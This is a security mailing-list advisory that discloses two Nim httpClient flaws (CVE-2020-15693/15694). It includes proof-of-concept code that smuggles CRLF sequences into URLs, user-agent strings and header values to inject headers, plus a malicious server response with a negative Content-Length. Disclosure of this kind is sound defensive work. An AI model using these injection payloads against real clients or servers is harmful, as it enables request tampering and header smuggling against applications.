oss-sec mailing list archives

[CVE-2020-15693, CVE-2020-15694] Nim - stdlib Httpclient - Header Crlf Injection & Server Response Validation


From: Martin Ortner <martin.ortner () consensys net>
Date: Thu, 4 Feb 2021 11:36:50 +0100

title: "Nim - stdlib Httpclient - Header Crlf Injection & Server Response Validation"
date: 2020-07-30T18:41:52+01:00

cve: ["CVE-2020-15693", "CVE-2020-15694"]
vendor: nim-lang
vendorUrl: https://nim-lang.org/
authors: tintinweb
affectedVersions: [ "<= 1.2.6" ]
vulnClass: CWE-93

Vulnerability Note: https://consensys.net/diligence/vulnerabilities/nim-httpclient-header-crlf-injection/ 
Vulnerability Note: https://github.com/tintinweb/pub/blob/master/pocs/cve-2020-15694/ 
Group: https://consensys.net/diligence/research/ 


## Summary 

The following vulnerability note discusses two classes of vulnerabilities found in the nim-lang `httpClient` standard 
library:

* a `CR-LF` injection in various arguments
* lack of response value validation when parsing server responses


## Details

### Description

The nim standard library `httpClient` is vulnerable to a `CR-LF` injection in the target url. This issue shares 
similarities with [CVE-2019-9740](https://nvd.nist.gov/vuln/detail/CVE-2019-9740) and 
[CVE-2019-9947](https://nvd.nist.gov/vuln/detail/CVE-2019-9947) reported for the Python language with the difference 
that more injection vectors exist. An injection is possible if the attacker controls any part of the url provided to 
`httpClient.[get|post|...]`, the user-agent, or custom http header names or values. 


Additionally, the library fails to properly validate the server response. For example, 
`httpClient.get().contentLength()` does not raise any error if a malicious server provides a negative `Content-Length`.


It should be noted that there seems to be a general lack of input validation (requests and response) and we expect more 
vectors to exist (e.g. see `generateHeaders`).


### Proof of Concept

Note: `nim c -r -d:ssl client_inject.nim`

1) header injection in any url part

a) query

```nim
import httpClient
var client = newHttpClient()
var response = client.get("https://localhost:4433?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123") 
echo response.contentLength()
echo response.body()
```

Serialized request: see `X-injected`

```http
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
user-agent: Nim httpclient/1.2.4

```

b) in the path

```nim
import httpClient
var client = newHttpClient()
var response = client.get("https://localhost:4433/a/1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

Serialized request: see `X-injected`

```http
GET /a/1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
user-agent: Nim httpclient/1.2.4


```

2) header injection in user-agent, http headers

```nim
import httpClient
var client = newHttpClient("MyUserAgent\r\nX-Injected: myheader")
client.headers = newHttpHeaders({ "Content-Type": "applicat\r\nion/json" })
var response = client.get("https://localhost:4433?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

Serialized request: see `X-injected`, `TEST: 123`

```http
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
content-type: applicat
ion/json
user-agent: MyUserAgent
X-Injected: myheader


```

3) Integers are parsed as signed ints instead of natural numbers

The `httpClient` silently accepts invalid return parameters. For example, the content-length header is initially stored 
as a string without being verified to be in a proper range. When accessing it, it is being parsed as a signed integer 
and therefore allows to return negative numbers.

```nim
proc contentLength*(response: Response | AsyncResponse): int =
## Retrieves the specified response's content length.
##
## This is effectively the value of the "Content-Length" header.
##
## A ``ValueError`` exception will be raised if the value is not an integer.
var contentLengthHeader = response.headers.getOrDefault("Content-Length")
return contentLengthHeader.parseInt()
```

Request:
```http
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123 HTTP/1.1
Host: localhost:4433
Connection: Keep-Alive
content-length: 0
user-agent: Nim httpclient/1.2.4

```

Malicious server response: `Content-Length: -23`
```http
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2010 23:26:07 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Last-Modified: Sun, 26 Sep 2010 22:04:35 GMT
ETag: "45b6-834-49130cc1182c0"
Accept-Ranges: bytes
Content-Length: -23
Connection: close
Content-Type: text/html

Hello world!

```

Accessing the `Content-Length` yields the negative number -23.

```nim
import httpClient
var client = newHttpClient()
var response = client.get("http://localhost:4433/a/1 HTTP/1.1\r\nX-i\x00\x01YOnjected: header\r\nTEST: 123")
echo response.contentLength()
echo response.body()
```

output:

```
⇒ nim c -r -d:ssl client_inject.nim
...
Hint: [Link]
Hint: 112071 LOC; 1.103 sec; 112.691MiB peakmem; Debug build; proj: 
/Users/tintin/workspace/nim/test/issues/httpclient/inject/client_inject.nim; out: 
/Users/tintin/workspace/nim/test/issues/httpclient/inject/client_inject [SuccessX]
Hint: /Users/tintin/workspace/nim/test/issues/httpclient/inject/client_inject [Exec]
-23
```

This might pose a risk to applications that are not checking whether response values are within sane bounds.


## Vendor Response

Vendor response: fixed in [v1.2.6](https://nim-lang.org/blog/2020/07/30/versions-126-and-108-released.html)

### Timeline

```
JUL/09/2020 - contact nim developers @telegram; provided details, PoC
JUL/30/2020 - fixed in new release
```

## References

* [1] https://nim-lang.org/
* [2] https://nim-lang.org/install.html
* [3] https://en.wikipedia.org/wiki/Nim_(programming_language)
* [4] https://nim-lang.org/blog/2020/07/30/versions-126-and-108-released.html


Current thread: